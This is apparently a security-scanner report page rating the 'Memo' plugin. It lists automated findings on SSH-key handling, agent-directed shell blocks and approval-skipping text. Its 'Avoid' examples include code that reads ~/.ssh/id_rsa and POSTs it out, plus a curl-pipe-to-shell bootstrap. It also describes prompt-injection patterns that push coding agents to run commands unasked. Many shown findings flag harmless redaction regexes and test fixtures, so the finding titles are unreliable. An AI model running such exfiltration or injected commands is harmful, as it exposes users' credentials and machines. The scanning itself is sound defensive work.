Memo— plugin

Memo — independently scanned and version-tracked by SaferSkills.

by jagoff·Plugin·github.com/jagoff/memo

Is Memo safe to install?

SaferSkills independently audited Memo (Plugin) and scored it 45/100 (orange). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 20 high-severity and 4 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
45/100
●●●●●○○○○○
Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 133d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings4 warnings · 20 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 24 flagged

Securityscore 0 · 24 findings
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · src/memo/secret_store.py
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header ("ssh_key": re.compile(r"(-----BEGIN [A-Z]+ PRIVA…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptsrc/memo/secret_store.py· python
228re.IGNORECASE,
229),
230"ssh_key": re.compile(r"(-----BEGIN [A-Z]+ PRIVATE KEY|-----BEGIN RSA PRIVATE KEY)"),
231"db_credential": re.compile(
232r"(postgres://|mysql://|mongodb://|postgresql://|user[=:]\s*\w+.*password[=:]\s*\S+)"
Occurrences
1 occurrence · at L230
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256d4c78a76431cc26e…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/test_redact.py×5
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (pem = "-----BEGIN OPENSSH PRIVATE KEY-----\nabc\…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/test_redact.py· python
41 
42def test_redacts_private_key_block():
43pem = "-----BEGIN OPENSSH PRIVATE KEY-----\nabc\ndef\n-----END OPENSSH PRIVATE KEY-----"
44res = redact_secrets(f"key:\n{pem}\nend")
45assert "BEGIN OPENSSH" not in res.text
Occurrences
5 occurrences · first at L43, also L54, L226 +2 more
Show all 5 locations
Line
File
L43
tests/test_redact.py
L54
tests/test_redact.py
L226
tests/test_redact.py
L239
tests/test_redact.py
L240
tests/test_redact.py
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566031e2b8d72640dc…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/test_secret_store.py
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (content = "-----BEGIN RSA PRIVATE KEY-----\nMIIE…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/test_secret_store.py· python
156def test_detect_ssh_key_regex():
157"""Should detect SSH private key headers."""
158content = "-----BEGIN RSA PRIVATE KEY-----\nMIIEpA..."
159matches = detect_secrets_heuristic(content)
160assert any(kind == "ssh_key" for kind, _ in matches)
Occurrences
1 occurrence · at L158
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256d4c78a76431cc26e…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/test_sync_git.py
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header ("-----BEGIN OPENSSH PRIVATE KEY-----\n"). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/test_sync_git.py· python
987try:
988pem = (
989"-----BEGIN OPENSSH PRIVATE KEY-----\n"
990"b3BlbnNzaC1rZXktdjEAAAAABG5vbmU\n"
991"AAAAB3NzaC1yc2EAAAADAQABAAABgQ\n"
Occurrences
1 occurrence · at L989
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566031e2b8d72640dc…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · CLAUDE.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptCLAUDE.md· markdown
11```bash
12# One-time setup (fresh clone/worktree — pytest is an optional-dependency
13# extra, not a base dep, so plain `uv sync` alone leaves pytest missing)
14uv sync --extra dev # pytest, ruff, mypy, hypothesis, etc.
15uv sync --all-extras # + http/tantivy/multimodal/ocr, needed for those test modules
16 
17# Tests (no MLX needed — MLX tests skip automatically on non-Apple Silicon)
18uv run --no-sync pytest tests/ # full suite
19uv run --no-sync pytest tests/test_foo.py::test_bar -v # single test
Occurrences
1 occurrence · at L11
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha2565186697414075076…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/install-new-mac.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/install-new-mac.md· markdown
21```bash
22brew install [email protected]
23```
24 
25## 2. Install memo
26 
27Recommended path:
28 
29```bash
Occurrences
1 occurrence · at L21
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256b95d438f4c48da77…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/reference.md×5
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/reference.md· markdown
57```bash
58# One-line installer (uv/pipx under the hood, pins the matching release,
59# and configures Claude Code + Codex + OpenCode + Devin Desktop when available)
60curl -fsSL https://raw.githubusercontent.com/jagoff/memo/v4.16.0/install.sh | bash
61# or install the latest published PyPI release explicitly
62pipx install mlx-memo
63# or
64uv tool install mlx-memo
65# or via the Homebrew tap
Occurrences
5 occurrences · first at L57, also L291, L307 +2 more
Show all 5 locations
Line
File
L57
docs/reference.md
L291
docs/reference.md
L307
docs/reference.md
L348
docs/reference.md
L580
docs/reference.md
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256870ddb0d46f4c965…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/superpowers/plans/2026-07-12-offline-runtime.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/superpowers/plans/2026-07-12-offline-runtime.md· markdown
36```python
37assert flag_bool("MEMO_UPDATE_CHECK_ENABLED") is False
38assert flag_bool("MEMO_AUTO_UPDATE") is False
39assert flag_bool("MEMO_STATUSLINE_SELFHEAL") is False
40assert flag_bool("MEMO_HOOK_SELFHEAL") is False
41assert generated["env"].get("MEMO_AUTO_UPDATE") != "1"
42```
43 
44- [ ] **Step 2: Run the two focused test files and observe current default-on failures**
Occurrences
1 occurrence · at L36
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha2565be1d3fb7014b08c…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/superpowers/plans/2026-07-13-memo-onboard.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/superpowers/plans/2026-07-13-memo-onboard.md· markdown
45```python
46# tests/test_cli_onboard.py
47"""Tests for the `memo onboard` Day-0 wizard."""
48from __future__ import annotations
49 
50from pathlib import Path
51 
52from click.testing import CliRunner
53 
Occurrences
1 occurrence · at L45
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha2568fe81974e245013b…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/superpowers/plans/2026-07-18-memo-organic-traction-launch.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/superpowers/plans/2026-07-18-memo-organic-traction-launch.md· markdown
87```bash
88git -C /Users/fer/repos/memo/.worktrees/launch-2026-07 status --short --branch
89git -C /Users/fer/repos/memo-web/.worktrees/launch-2026-07 status --short --branch
90```
91 
92Expected: both commands name `launch/2026-07-memo` and show no uncommitted files.
93 
94- [ ] **Step 2: Create the tracker with explicit state machines**
95 
Occurrences
1 occurrence · at L87
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha25676b353f860ebfccf…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/superpowers/plans/2026-07-29-memflow-absorption/04-active-state-migration.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/superpowers/plans/2026-07-29-memflow-absorption/04-active-state-migration.md· markdown
142```python
143def test_memo_scan_preserves_v2_base_and_v1_genesis(memo_snapshot):
144proof = scan_memo_source(memo_snapshot)
145assert proof.v1_genesis_anchors
146assert proof.v2_positions == {"device-a": 42}
147assert proof.state_domains >= {
148"focus", "handoffs", "attention", "conflicts", "outcomes", "sessions"
149}
150assert proof.verify().ok is True
Occurrences
1 occurrence · at L142
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256e2f9fdcaf7106d0f…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · llms-install.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptllms-install.md· markdown
15```bash
16# macOS Apple Silicon (recommended)
17uv tool install mlx-memo
18 
19# Linux (CPU embeddings; explicit Python avoids an older distro interpreter)
20uv tool install --python 3.13 \
21--find-links https://download.pytorch.org/whl/cpu/torch/ mlx-memo
22 
23# Alternatives (Apple Silicon; Linux pipx needs the CPU-wheel args in docs/ubuntu.md)
Occurrences
1 occurrence · at L15
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha25612e75d4266251341…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · docs/superpowers/plans/2026-07-13-memo-onboard.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptdocs/superpowers/plans/2026-07-13-memo-onboard.md· markdown
373interactive = not (flag_bool("MEMO_NONINTERACTIVE") or not sys.stdin.isatty())
374if not yes and not interactive:
375# Never prompt from hooks / pipes — mirror of `memo sync setup`.
376console.print(
377"Corré [cyan]memo onboard[/cyan] en una terminal interactiva, "
Occurrences
1 occurrence · at L375
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha256c6ccbeff3f20088c…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · docs/superpowers/plans/2026-07-18-memo-organic-traction-launch.md×2
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptdocs/superpowers/plans/2026-07-18-memo-organic-traction-launch.md· markdown
860```
861 
862End with the disclosure, repository, landing, and a request for architectural feedback. Do n
… (34 chars elided on L862)
863 
864- [ ] **Step 4: Validate copy mechanically**
Occurrences
2 occurrences · first at L862, also L1053
Show all 2 locations
Line
File
L862
docs/superpowers/plans/2026-07-18-memo-organic-traction-launch.md
L1053
docs/superpowers/plans/2026-07-18-memo-organic-traction-launch.md
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25668b030f55bcd484a…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · docs/superpowers/specs/2026-07-18-memo-organic-traction-launch-design.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptdocs/superpowers/specs/2026-07-18-memo-organic-traction-launch-design.md· markdown
179- **All platforms:** ask readers to try memo, inspect the code, or give feedback.
180A “star it if it helps you” CTA is allowed only on the user's owned social
181posts. Never ask for coordinated platform votes.
182 
183## Evidence and asset package
Occurrences
1 occurrence · at L181
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha2565084aa178cfd9d97…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
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Audit the pieces. Scan the whole. Decide.

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